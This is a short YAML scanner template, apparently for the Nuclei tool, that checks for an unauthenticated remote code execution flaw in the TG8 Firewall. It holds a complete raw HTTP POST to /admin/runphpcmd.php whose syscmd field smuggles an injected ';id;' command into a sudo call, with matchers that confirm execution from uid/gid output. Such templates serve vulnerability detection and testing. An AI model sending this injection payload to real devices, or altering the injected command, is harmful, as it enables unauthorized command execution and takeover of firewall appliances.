TG8RCE.yaml

id: TG8 Firewall PreAuth RCE

info:
  name: TG8 Firewall PreAuth RCE
  author: nithissh
  severity: critical
  description: A malicious actor can trigger Un authenticated Remote Code Execution
  tags: rce,tg8 firewall
  reference: unknown

requests:
  - raw:
      - |
        POST http://{{BaseURL}}/admin/runphpcmd.php HTTP/1.1
        Host: {{Hostname}} 
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
        Accept: application/json, text/javascript, */*; q=0.01
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Content-Length: 68
        Connection: keep-alive

        syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+%3Bid%3B++local


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and
        part: body
      - type: status
        status:
          - 200